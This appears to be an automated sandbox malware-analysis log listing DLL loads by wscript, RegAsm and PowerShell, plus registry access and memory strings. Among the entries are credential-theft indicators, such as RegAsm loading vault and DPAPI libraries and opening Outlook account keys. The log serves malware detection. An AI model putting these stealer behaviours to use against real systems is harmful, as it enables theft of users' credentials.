Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
